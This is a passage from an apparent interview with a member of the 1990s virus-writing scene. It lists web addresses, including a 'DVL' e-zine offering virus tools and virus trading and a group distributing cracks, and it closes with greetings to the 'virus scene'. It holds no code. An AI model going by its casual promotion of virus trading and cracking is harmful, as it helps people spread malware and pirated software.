http://www.hotmail.com :))))
http://www.avp.ch/avpve
NoMercy's page (now closed :((( ???)

Do you have webpage ? If so, where is the page to find?

http://www.chat.ru/~dvlabs - official page of DVL e-zine (virii, VX tools, virus trading and VX news)
http://www.chat.ru/~smf - official page of SMF group (cracks, demos, tools)

What about you plans for the future as coder and in general?

I prepare contributions for DVL #9 and couple of other zines. And i am going to take half year holliday -
without viruses - i wanna to pick up some chicks :-)

And i want to say some greetz! To:


mgl - for this interview :)
all my collegue from DVL - keep in touch !
all SMF members and all ppl on virus scene !!!

You might also like